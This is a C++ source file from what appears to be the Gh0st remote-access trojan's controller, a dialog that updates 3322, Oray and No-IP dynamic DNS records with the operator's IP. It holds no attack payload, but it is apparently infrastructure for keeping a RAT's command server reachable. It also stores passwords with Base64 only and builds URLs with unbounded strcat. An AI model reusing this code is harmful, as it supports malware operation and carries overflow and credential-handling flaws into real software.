2024-06-23 17:36:53 +08:00

917 lines
26 KiB
C++
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// UpdateDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Gh0st.h"
#include "UpdateDlg.h"
#include "winsock.h"//---
#include "afxinet.h" //WinInetËùÐèÒªµÄÍ·Îļþ
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CUpdateDlg dialog
CUpdateDlg::CUpdateDlg(CWnd* pParent /*=NULL*/)
: CDialog(CUpdateDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CUpdateDlg)
m_EDIT_DnsIP = _T("");
m_EDIT_DnsIPjiami = _T("");
//}}AFX_DATA_INIT
}
void CUpdateDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CUpdateDlg)
DDX_Control(pDX, IDC_GETWAN, m_getwan);
DDX_Control(pDX, IDC_SIGNNOIP, m_SignNOIP);
DDX_Control(pDX, IDC_SIGNNOIP2, m_SignNOIP2);
DDX_Control(pDX, IDC_SIGNNOIP3, m_SignNOIP3);
DDX_Control(pDX, IDC_COMBO_DNS, m_Combo_DnsIP);
DDX_Text(pDX, IDC_EDIT_DNSUSER, m_DnsUser);
DDV_MaxChars(pDX, m_DnsUser, 100);
DDX_Text(pDX, IDC_EDIT_DNSPASS, m_DnsPass);
DDV_MaxChars(pDX, m_DnsPass, 100);
DDX_Text(pDX, IDC_EDIT_DNSDOMAIN, m_DnsDomain);
DDV_MaxChars(pDX, m_DnsDomain, 100);
DDX_Check(pDX, IDC_3322, m_3322);
DDX_Check(pDX, IDC_HUASHENG, m_oicp);
DDX_Check(pDX, IDC_NOIP, m_noip);
DDX_Text(pDX, IDC_EDIT_DNSIP, m_EDIT_DnsIP);
DDX_Text(pDX, IDC_EDIT_DNSIPJIAMI, m_EDIT_DnsIPjiami);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CUpdateDlg, CDialog)
//{{AFX_MSG_MAP(CUpdateDlg)
ON_BN_CLICKED(IDC_BTN_DNSUPDATE, OnBtnDnsupdate)
ON_BN_CLICKED(IDC_GETWAN, OnGetwan)
ON_BN_CLICKED(IDC_3322, On3322)
ON_BN_CLICKED(IDC_HUASHENG, OnOicp)
ON_BN_CLICKED(IDC_NOIP, OnNoip)
ON_BN_CLICKED(IDC_DNSIPJIAMI, OnDnsipjiami)
ON_BN_CLICKED(IDC_DNSIPSJFZ, OnDnsipsjfz)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CUpdateDlg message handlers
BOOL CUpdateDlg::OnInitDialog()
{
CDialog::OnInitDialog();
UpdateData(TRUE);
// TODO: Add extra initialization here
m_SignNOIP.SetURL(_T("http://www.no-ip.com/newUser.php"));
m_SignNOIP2.SetURL(_T("http://www.pubyun.com/accounts/signup/"));
m_SignNOIP3.SetURL(_T("https://console.oray.com/passport/register.html?#per"));
On3322();
//»ñµÃIP--------------------------------
WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);
char szhostname[128];
if( gethostname(szhostname, 128) == 0 )
{
struct hostent * phost;
int i,j,h_length=4;
phost = gethostbyname(szhostname);
for( i = 0; phost!= NULL && phost->h_addr_list[i]!= NULL; i++)
{
CString str;
for( j = 0; j<h_length; j++ )
{
CString addr;
if( j > 0 )
str += ".";
addr.Format("%u", (unsigned int)((unsigned char*)phost->h_addr_list[i])[j]);
str += addr;
}
m_Combo_DnsIP.AddString(str);
}
m_Combo_DnsIP.SetCurSel(0);
}
BOOL m_bOnline=TRUE;//ÊÇ·ñÔÚÏß
DWORD dwFlag;
m_bOnline=InternetGetConnectedState(&dwFlag,0);
if(m_bOnline)//ÔÚÏß
{
GetDlgItem(IDC_GETWAN)->EnableWindow(TRUE);
}
else
{
GetDlgItem(IDC_GETWAN)->EnableWindow(FALSE);
SetDlgItemText(IDC_COMBO_DNS,"No Internet");
}
UpdateData(FALSE);
return TRUE;
}
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64_encode1(const void *data, int size, char **str)
{
char *s, *p;
int i;
int c;
const unsigned char *q;
p = s = (char*)malloc(size*4/3+4);
if (p == NULL)
return -1;
q = (const unsigned char*)data;
i=0;
for(i = 0; i < size;){
c=q[i++];
c*=256;
if(i < size)
c+=q[i];
i++;
c*=256;
if(i < size)
c+=q[i];
i++;
p[0]=base64[(c&0x00fc0000) >> 18];
p[1]=base64[(c&0x0003f000) >> 12];
p[2]=base64[(c&0x00000fc0) >> 6];
p[3]=base64[(c&0x0000003f) >> 0];
if(i > size)
p[3]='=';
if(i > size+1)
p[2]='=';
p+=4;
}
*p=0;
*str = s;
return strlen(s);
}
char ShowText[200];
void CUpdateDlg::OnBtnDnsupdate()
{
// TODO: Add your control notification handler code here
UpdateData();
if (m_3322)
{
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "3322User", m_DnsUser);
CString Mistr;
Mistr=Base64Encode(m_DnsPass); //¼ÓÃܺ¯Êý
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "3322Pass", Mistr);//±£´æÃÜÂë
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "3322Domain",m_DnsDomain);
CString strUrl, strDNS, strTmp = _T("");
CString id,pass,ip;
GetDlgItem(IDC_EDIT_DNSUSER)->GetWindowText(id);
GetDlgItem(IDC_EDIT_DNSPASS)->GetWindowText(pass);
GetDlgItem(IDC_EDIT_DNSDOMAIN)->GetWindowText(strDNS);
GetDlgItem(IDC_COMBO_DNS)->GetWindowText(ip);
char a[256]="http://";
char *b="@members.3322.org/dyndns/update?system=dyndns&hostname=";
char *c="&myip=";
char *d="&wildcard=OFF";
strcat(a,id);
strcat(a,":");
strcat(a,pass);
strcat(a,b);
strcat(a,strDNS);
strcat(a,c);
strcat(a,ip);
strcat(a,d);
HINTERNET hNet = ::InternetOpen("3322", //µ±HTTPЭÒéʹÓÃʱ£¬Õâ¸ö²ÎÊýËæÒ⸳ֵ
PRE_CONFIG_INTERNET_ACCESS, //·ÃÎÊÀàÐÍָʾWin32ÍøÂ纯ÊýʹÓõǼÇÐÅϢȥ·¢ÏÖÒ»¸ö·þÎñÆ÷
NULL,
INTERNET_INVALID_PORT_NUMBER, //ʹÓÃINTERNET_INVALID_PORT_NUMBERÏ൱ÓÚÌṩȴʡµÄ¶Ë¿ÚÊý
0 //±ê־ȥָʾʹÓ÷µ»Ø¾ä¾ä±úµÄ½«À´µÄInternetº¯Êý½«"²»"Ϊ»Øµ÷º¯Êý·¢ËÍ״̬ÐÅÏ¢
);
HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //´ÓInternetOpen·µ»ØµÄ¾ä±ú
(char *)a, //ÐèÒª´ò¿ªµÄURL
NULL, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪNULL
0, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪ 0
INTERNET_FLAG_RELOAD, //InternetOpenUrlÐÐΪµÄ±êÖ¾
0); //ÐÅÏ¢½«²»»á±»Ë͵½×´Ì¬»Øµ÷º¯Êý
char buffer[1024] ;
DWORD dwBytesRead = 0;
BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl·µ»ØµÄ¾ä±ú
buffer, //±£ÁôÊý¾ÝµÄ»º³åÇø
sizeof(buffer),
&dwBytesRead); //Ö¸Ïò°üº¬¶ÁÈ뻺³åÇø×Ö½ÚÊýµÄ±äÁ¿µÄÖ¸Õë;
//Èç¹û·µ»ØÖµÊÇTRUE£¬¶øÇÒÕâÀïÖ¸Ïò0£¬ÔòÎļþÒѾ­¶Áµ½ÁËÎļþµÄĩβ¡£
::InternetCloseHandle(hUrlFile) ;
::InternetCloseHandle(hNet) ;
if(buffer>0)
{
if(strstr(buffer,"badauth"))
{
SetDlgItemText(IDC_SHOWTIPS, _T("Óû§»òÃÜÂë´íÎó,ÇëÖØÐ¸üÐÂ"));
// MessageBox("Óû§»òÃÜÂë´íÎó ÇëÖØÐ¸üР...");
}
if(strstr(buffer,"good"))
{
wsprintf(ShowText,"%s:%s","Ï£ÍøÓòÃûIP¸üгɹ¦",ip);
SetDlgItemText(IDC_SHOWTIPS, ShowText);
// MessageBox("ÓòÃû¸üгɹ¦ ...\r\n"+ip+"\r\n");
}
if(strstr(buffer,"nohost"))
{
SetDlgItemText(IDC_SHOWTIPS, _T("ÓòÃû²»´æÔÚ"));
// MessageBox(_T("ÓòÃû´íÎó ...\n\rÇë¼ì²éÊÇ·ñÊäÈëÕýÈ·"));
}
if(strstr(buffer,"nochg"))
{
char ShowText[200];
wsprintf(ShowText,"%s:%s","IPÒѾ­Ö¸Ïò¸ÃÓòÃû",ip);
SetDlgItemText(IDC_SHOWTIPS, ShowText);
// MessageBox(_T("ÓòÃûÀï´¢´æµÄIPÒÑΪµ±Ç°IP ..."));
}
}
else
{
::MessageBox(NULL,_T("ÓòÃû¸üгɹ¦ ..."),"Notice",MB_ICONINFORMATION);
}
memset(buffer,0,sizeof(buffer));
}
if (m_oicp)
{
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "OicpUser", m_DnsUser);
CString Mistr;
Mistr=Base64Encode(m_DnsPass); //¼ÓÃܺ¯Êý
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "OicpPass", Mistr);//±£´æÃÜÂë
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "OicpDomain",m_DnsDomain);
CString id,pass,dns,ip;
GetDlgItem(IDC_EDIT_DNSUSER)->GetWindowText(id);
GetDlgItem(IDC_EDIT_DNSPASS)->GetWindowText(pass);
GetDlgItem(IDC_EDIT_DNSDOMAIN)->GetWindowText(dns);
GetDlgItem(IDC_COMBO_DNS)->GetWindowText(ip);
char a[256]="http://";
char *b="@ddns.oray.com/ph/update?hostname=";
char *c="&myip=";
strcat(a,id);
strcat(a,":");
strcat(a,pass);
strcat(a,b);
strcat(a,dns);
strcat(a,c);
strcat(a,ip);
HINTERNET hNet = ::InternetOpen("oray", //µ±HTTPЭÒéʹÓÃʱ£¬Õâ¸ö²ÎÊýËæÒ⸳ֵ
PRE_CONFIG_INTERNET_ACCESS, //·ÃÎÊÀàÐÍָʾWin32ÍøÂ纯ÊýʹÓõǼÇÐÅϢȥ·¢ÏÖÒ»¸ö·þÎñÆ÷
NULL,
INTERNET_INVALID_PORT_NUMBER, //ʹÓÃINTERNET_INVALID_PORT_NUMBERÏ൱ÓÚÌṩȴʡµÄ¶Ë¿ÚÊý
0 //±ê־ȥָʾʹÓ÷µ»Ø¾ä¾ä±úµÄ½«À´µÄInternetº¯Êý½«"²»"Ϊ»Øµ÷º¯Êý·¢ËÍ״̬ÐÅÏ¢
);
HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //´ÓInternetOpen·µ»ØµÄ¾ä±ú
(char *)a, //ÐèÒª´ò¿ªµÄURL
NULL, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪNULL
0, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪ 0
INTERNET_FLAG_RELOAD, //InternetOpenUrlÐÐΪµÄ±êÖ¾
0); //ÐÅÏ¢½«²»»á±»Ë͵½×´Ì¬»Øµ÷º¯Êý
char buffer[1024] ;
DWORD dwBytesRead = 0;
BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl·µ»ØµÄ¾ä±ú
buffer, //±£ÁôÊý¾ÝµÄ»º³åÇø
sizeof(buffer),
&dwBytesRead); //Ö¸Ïò°üº¬¶ÁÈ뻺³åÇø×Ö½ÚÊýµÄ±äÁ¿µÄÖ¸Õë;
//Èç¹û·µ»ØÖµÊÇTRUE£¬¶øÇÒÕâÀïÖ¸Ïò0£¬ÔòÎļþÒѾ­¶Áµ½ÁËÎļþµÄĩβ¡£
::InternetCloseHandle(hUrlFile) ;
::InternetCloseHandle(hNet) ;
// CString HotName="»¨Éú¿ÇÓòÃûIP¸üÐÂ";
if(buffer>0)
{
if(strstr(buffer,"good"))
SetDlgItemText(IDC_SHOWTIPS,"»¨Éú¿ÇIP¸üгɹ¦:"+ip);
// MessageBox("¸üгɹ¦£¬ÒѸü¸ÄÓòÃûIP ...\r\n"+ip+"\r\n", HotName, MB_OK | MB_ICONASTERISK);
else if(strstr(buffer,"nochg"))
SetDlgItemText(IDC_SHOWTIPS,"IPÒѾ­Ö¸Ïò¸ÃÓòÃû:"+ip);
// MessageBox("´æ´¢IPÏàͬ£¬Ã»ÓиıäIP ...", HotName, MB_OK | MB_ICONASTERISK);
else if(strstr(buffer,"notfqdn"))
SetDlgItemText(IDC_SHOWTIPS, _T("¸üÐÂʧ°Ü,δ¼¤»î»¨Éú¿ÇÓòÃû"));
// MessageBox("¸üÐÂʧ°Ü£¬Î´¼¤»î»¨Éú¿ÇÓòÃû ...", HotName, MB_OK | MB_ICONWARNING);
else if(strstr(buffer,"nohost"))
SetDlgItemText(IDC_SHOWTIPS, _T("ÓòÃû²»´æÔÚ"));
// MessageBox("ÓòÃû²»´æÔÚ»òδ¼¤»î»¨Éú¿Ç ...",HotName, MB_OK | MB_ICONWARNING);
else if(strstr(buffer,"abuse"))
SetDlgItemText(IDC_SHOWTIPS, _T("Ƶ·±ÇëÇó»òÑé֤ʧ°Ü"));
// MessageBox("Ƶ·±ÇëÇó»òÑé֤ʧ°Ü ...",HotName, MB_OK | MB_ICONWARNING);
else if(strstr(buffer,"badauth"))
SetDlgItemText(IDC_SHOWTIPS, _T("Óû§»òÃÜÂë´íÎó,ÇëÖØÐ¸üÐÂ"));
// MessageBox("¸üÐÂʧ°Ü£¬Óû§Ãû»òÃÜÂë´íÎó ...",HotName, MB_OK | MB_ICONWARNING);
else
SetDlgItemText(IDC_SHOWTIPS, _T("δ֪Ãû´íÎó ..."));
// MessageBox("δ֪Ãû´íÎó ...",HotName, MB_OK | MB_ICONWARNING);
}
}
if (m_noip)
{
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "NoipUser", m_DnsUser);
CString Mistr;
Mistr=Base64Encode(m_DnsPass); //¼ÓÃܺ¯Êý
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "NoipPass", Mistr);//±£´æÃÜÂë
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "NoipDomain",m_DnsDomain);
CString strUrl, strDNS, strTmp = _T("");
CString id,pass,ip;
GetDlgItem(IDC_EDIT_DNSUSER)->GetWindowText(id);
GetDlgItem(IDC_EDIT_DNSPASS)->GetWindowText(pass);
GetDlgItem(IDC_EDIT_DNSDOMAIN)->GetWindowText(strDNS);
GetDlgItem(IDC_COMBO_DNS)->GetWindowText(ip);
strUrl = _T("http://");
strUrl += _T("dynupdate.no-ip.com/nic/update?hostname=");
strUrl += strDNS;
strUrl += _T("&myip=");
strUrl += ip;
char szEncode[MAX_PATH];
char *szOut;
wsprintfA(szEncode, _T("%s:%s"), id, pass);
base64_encode1(szEncode, strlen(szEncode), &szOut);
SetDlgItemText(IDC_SHOWTIPS, _T("Update...Wait..."));
CString strHeaders;
strHeaders.Format(_T("Authorization:Basic %s"), szOut);//= _T("c2Vla3dpbmRzQGdtYWlsLmNvbTp5aW5nNTg0MjAzMzQ0");
CInternetSession m_Session(NULL, 0);
CHttpFile* pHttpFile = NULL;
pHttpFile = (CHttpFile*)m_Session.OpenURL(strUrl, 1, INTERNET_FLAG_TRANSFER_ASCII | INTERNET_FLAG_SECURE, strHeaders, strHeaders.GetLength());
char szRet[1024];
if(pHttpFile != NULL)
{
while (pHttpFile->ReadString((LPTSTR)szRet, 1024) != NULL)
{
strTmp += szRet;
}
}
pHttpFile->Close();
m_Session.Close();
delete pHttpFile;
pHttpFile = NULL;
if(strTmp.GetLength()>0)
{
if(strstr(strTmp,_T("badauth")))
{
SetDlgItemText(IDC_SHOWTIPS, _T("Óû§»òÃÜÂë´íÎó,ÇëÖØÐ¸üÐÂ"));
// SetDlgItemText(IDC_SHOWTIPS, _T("Password or UserName Wrong"));
}
if(strstr(strTmp,_T("good")))
{
wsprintf(ShowText,"%s:%s","No-IP ¸üгɹ¦",ip);
SetDlgItemText(IDC_SHOWTIPS, ShowText);
}
if(strstr(strTmp,_T("nohost")))
{
SetDlgItemText(IDC_SHOWTIPS, _T("ÓòÃû²»´æÔÚ"));
}
if(strstr(strTmp,_T("nochg")))
{
wsprintf(ShowText,"%s:%s","IPÒѾ­Ö¸Ïò¸ÃÓòÃû",ip);
SetDlgItemText(IDC_SHOWTIPS, ShowText);
}
}
else
{
SetDlgItemText(IDC_SHOWTIPS, _T("No-IP ¸üгɹ¦"));
}
}
}
void CUpdateDlg::OnGetwan()
{
// TODO: Add your control notification handler code here
// try
// {
// CInternetSession session;
// CString strURL(_T("http://ip.3322.org/"));
// CFile* pFile = session.OpenURL(strURL);
// DWORD dwLen = pFile->GetLength();
// char* pBuf = new char[dwLen+1];
// memset(pBuf, 0, sizeof(char)*(dwLen+1));
// pFile->Read(pBuf, dwLen);
// SetDlgItemText(IDC_COMBO_DNS, CString(pBuf));
// SetDlgItemText(IDC_EDIT_DNSIP, CString(pBuf));
// delete[] pBuf;
// pBuf = NULL;
// pFile->Close();
// SetDlgItemText(IDC_SHOWTIPS, _T("»ñÈ¡ÍâÍøIP³É¹¦"));
// }
// catch (CException* e)
// {
// e->ReportError();
// e->Delete();
// }
CUpdateDlg sty;
CString Gip;
m_getwan.EnableWindow(FALSE); //½ûÓð´¼ü
Gip=sty.GetIPAddress();
SetDlgItemText(IDC_COMBO_DNS, Gip);
SetDlgItemText(IDC_EDIT_DNSIP, Gip);
SetDlgItemText(IDC_SHOWTIPS, _T("»ñÈ¡ÍâÍøIP³É¹¦"));
// SetDlgItemText(IDC_LONGIP2,Gip);
m_getwan.EnableWindow(TRUE); //»Ö¸´°´¼ü
}
void CUpdateDlg::On3322()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
CString Mistr;
m_3322 = ((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("UpdateIp", "3322",TRUE);
m_DnsUser = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "3322User", "xxx@hotmail.com");//_T("xxx@hotmail.com");
// m_DnsPass = _T("xxxxx");
Mistr = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "3322Pass", "xxxxx");
m_DnsPass=Base64Decode(Mistr); //½âÃÜ
m_DnsDomain =((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "3322Domain", "xxx.f3322.org");//_T("xxx.f3322.org");
UpdateData(FALSE);
}
void CUpdateDlg::OnOicp()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
CString Mistr;
// m_oicp = ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("UpdateIp", "Oicp",TRUE);
m_DnsUser = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "OicpUser", "xxx@hotmail.com");//_T("xxx@hotmail.com");
// m_DnsPass = _T("xxxxx");
Mistr = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "OicpPass", "xxxxx");
m_DnsPass=Base64Decode(Mistr); //½âÃÜ
m_DnsDomain =((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "OicpDomain", "xxx.oicp.org");//_T("xxx.oicp.org");
UpdateData(FALSE);
}
void CUpdateDlg::OnNoip()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
CString Mistr;
// m_noip = ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("UpdateIp", "Noip",TRUE);
m_DnsUser = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "NoipUser", "xxx@hotmail.com");//_T("xxx@hotmail.com");
// m_DnsPass = _T("xxxxx");
Mistr = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "NoipPass", "xxxxx");
m_DnsPass=Base64Decode(Mistr); //½âÃÜ
m_DnsDomain =((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "NoipDomain", "xxx.no-ip.org");//_T("xxx.no-ip.org");
UpdateData(FALSE);
}
//////////////////////////////////////////////////////////////////////////
//Base64¼ÓÃܺ¯Êý
//////////////////////////////////////////////////////////////////////////
CString CUpdateDlg::Base64Encode(LPCTSTR lpszSrc) //¼ÓÃܺ¯Êý
{
ASSERT(lpszSrc != NULL && AfxIsValidString(lpszSrc));
const char BASE64_ENCODE_TABLE[64] = {
65, 66, 67, 68, 69, 70, 71, 72, // 00 - 07
73, 74, 75, 76, 77, 78, 79, 80, // 08 - 15
81, 82, 83, 84, 85, 86, 87, 88, // 16 - 23
89, 90, 97, 98, 99, 100, 101, 102, // 24 - 31
103, 104, 105, 106, 107, 108, 109, 110, // 32 - 39
111, 112, 113, 114, 115, 116, 117, 118, // 40 - 47
119, 120, 121, 122, 48, 49, 50, 51, // 48 - 55
52, 53, 54, 55, 56, 57, 43, 47 };// 56 - 63
unsigned int iTest;
LPCTSTR pInBuffer=lpszSrc;
int nSize = (int)_tcslen(lpszSrc);
char* pOutBuffer=new char[nSize/3*4+5];
ZeroMemory(pOutBuffer,nSize/3*4+5);
for(UINT i=0;i<_tcslen(lpszSrc) / 3;i++)
{
iTest = (unsigned char) *pInBuffer++;
iTest = iTest << 8;
iTest = iTest | (unsigned char) *pInBuffer++;
iTest = iTest << 8;
iTest = iTest | (unsigned char) *pInBuffer++;
//ÒÔ4 byteµ¹ÐòдÈëÊä³ö»º³å
pOutBuffer[3] = BASE64_ENCODE_TABLE[iTest & 0x3F];
iTest = iTest >> 6;
pOutBuffer[2] = BASE64_ENCODE_TABLE[iTest & 0x3F];
iTest = iTest >> 6;
pOutBuffer[1] = BASE64_ENCODE_TABLE[iTest & 0x3F];
iTest = iTest >> 6;
pOutBuffer[0] = BASE64_ENCODE_TABLE[iTest];
pOutBuffer+=4;
}
//ÉèÖÃβ²¿
switch (_tcslen(lpszSrc) % 3)
{
case 0:
break;
case 1:
iTest = (unsigned char) *pInBuffer;
iTest = iTest << 4;
pOutBuffer[1] = BASE64_ENCODE_TABLE[iTest & 0x3F];
iTest = iTest >> 6;
pOutBuffer[0] = BASE64_ENCODE_TABLE[iTest];
pOutBuffer[2] = '='; //ÓÃ'='Ò²¾ÍÊÇ64ÂëÌî³äÊ£Óಿ·Ö
pOutBuffer[3] = '=';
break;
case 2:
iTest = (unsigned char) *pInBuffer++;
iTest = iTest << 8;
iTest = iTest | (unsigned char) *pInBuffer;
iTest = iTest << 2;
pOutBuffer[2] = BASE64_ENCODE_TABLE[iTest & 0x3F];
iTest = iTest >> 6;
pOutBuffer[1] = BASE64_ENCODE_TABLE[iTest & 0x3F];
iTest = iTest >> 6;
pOutBuffer[0] = BASE64_ENCODE_TABLE[iTest];
pOutBuffer[3] = '='; // Fill remaining byte.
break;
}
pOutBuffer-=nSize/3*4;
CString strEncode=pOutBuffer;
delete [] pOutBuffer;
pOutBuffer=NULL;
return strEncode;
}
//////////////////////////////////////////////////////////////////////////
//Base64½âÃܺ¯Êý
//////////////////////////////////////////////////////////////////////////
CString CUpdateDlg::Base64Decode(LPCTSTR lpszSrc)
{
ASSERT(lpszSrc != NULL && AfxIsValidString(lpszSrc));
const unsigned int BASE64_DECODE_TABLE[256] = {
255, 255, 255, 255, 255, 255, 255, 255, // 00 - 07
255, 255, 255, 255, 255, 255, 255, 255, // 08 - 15
255, 255, 255, 255, 255, 255, 255, 255, // 16 - 23
255, 255, 255, 255, 255, 255, 255, 255, // 24 - 31
255, 255, 255, 255, 255, 255, 255, 255, // 32 - 39
255, 255, 255, 62, 255, 255, 255, 63, // 40 - 47
52, 53, 54, 55, 56, 57, 58, 59, // 48 - 55
60, 61, 255, 255, 255, 255, 255, 255, // 56 - 63
255, 0, 1, 2, 3, 4, 5, 6, // 64 - 71
7, 8, 9, 10, 11, 12, 13, 14, // 72 - 79
15, 16, 17, 18, 19, 20, 21, 22, // 80 - 87
23, 24, 25, 255, 255, 255, 255, 255, // 88 - 95
255, 26, 27, 28, 29, 30, 31, 32, // 96 - 103
33, 34, 35, 36, 37, 38, 39, 40, // 104 - 111
41, 42, 43, 44, 45, 46, 47, 48, // 112 - 119
49, 50, 51, 255, 255, 255, 255, 255, // 120 - 127
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255 };
const int nSrcCount=(int)_tcslen(lpszSrc);
int nSize=nSrcCount/4*3;
if(lpszSrc[nSrcCount-1]=='=')
nSize--;
if(lpszSrc[nSrcCount-2]=='=')
nSize--;
char* pOutBuffer=new char[nSize+3];
ZeroMemory(pOutBuffer,nSize+3);
LPCTSTR pInBuffer=lpszSrc;
UINT iTest,iPack;
for(int i=0;i<nSize/3 ;i++)
{
for(int j=0;j<4;j++)
{
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
//InPtr++;
if (iTest == 0xFF)
{
j--;
continue; //¶Áµ½255·Ç·¨×Ö·û
}
iPack = iPack << 6 ;
iPack = iPack | iTest ;
}
pOutBuffer[2] = iPack;
iPack = iPack >> 8;
pOutBuffer[1] = iPack;
iPack = iPack >> 8;
pOutBuffer[0] = iPack;
//×¼±¸Ð´Èëºó3λ
pOutBuffer+= 3; iPack = 0;
}
switch(nSize%3)
{
case 1:
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
if (iTest != 0xFF)
{
iPack = iPack << 6 ;
iPack = iPack | iTest ;
}
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
if (iTest != 0xFF)
{
iPack = iPack << 6 ;
iPack = iPack | iTest ;
}
iPack = iPack >> 4;
pOutBuffer[0] = iPack;
pOutBuffer++;
break;
case 2:
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
if (iTest != 0xFF)
{
iPack = iPack << 6 ;
iPack = iPack | iTest ;
}
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
if (iTest != 0xFF)
{
iPack = iPack << 6 ;
iPack = iPack | iTest ;
}
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
if (iTest != 0xFF)
{
iPack = iPack << 6 ;
iPack = iPack | iTest ;
}
iPack = iPack >> 2;
pOutBuffer[1] = iPack;
iPack = iPack >> 8;
pOutBuffer[0] = iPack;
pOutBuffer+=2;
break;
default:
break;
}
pOutBuffer-=nSize;
CString strDecode=pOutBuffer;
delete pOutBuffer;
return strDecode;
}
// RC4 ³õʼ»¯
void CUpdateDlg::rc4_init(unsigned char *s, unsigned char *key, unsigned long Len)
{
int i =0, j = 0, k[256] = {0};
unsigned char tmp = 0;
for(i=0;i<256;i++)
{
s[i]=i;
k[i]=key[i%Len];
}
for (i=0; i<256; i++)
{
j=(j+s[i]+k[i])%256;
tmp = s[i];
s[i] = s[j]; //½»»»s[i]ºÍs[j]
s[j] = tmp;
}
}
// RC4 ¼ÓÃܽâÃܺ¯Êý
void CUpdateDlg::rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
{
int x = 0, y = 0, t = 0;
unsigned char tmp;
unsigned long i;
for(i=0;i<Len;i++)
{
x=(x+1)%256;
y=(y+s[x])%256;
tmp = s[x];
s[x] = s[y]; //½»»»s[x]ºÍs[y]
s[y] = tmp;
t=(s[x]+s[y])%256;
Data[i] ^= s[t];
}
}
CString GetExePath()
{
char pathbuf[260];
int pathlen = ::GetModuleFileName(NULL,pathbuf,MAX_PATH);
// Ìæ»»µôµ¥¸Ü
while(TRUE)
{
if(pathbuf[pathlen--]=='\\')
break;
}
pathbuf[++pathlen]= 0*0;
CString fname = pathbuf;
return fname;
}
int CUpdateDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
char* CUpdateDlg::substr(char *str,int istar,int iend)
{
char *p;
char p1[100]={0};
int ip=0;
p=str;
ip=strlen(p);
if(istar> ip)
return NULL;
else
{
p+=istar-1;
}
int ipp=strlen(p);
if(ipp <iend)
strcpy(p1,p);
else
{
//p1+=iend;
memcpy(p1,p,iend);
}
strcpy(str,p1);
return str;
}
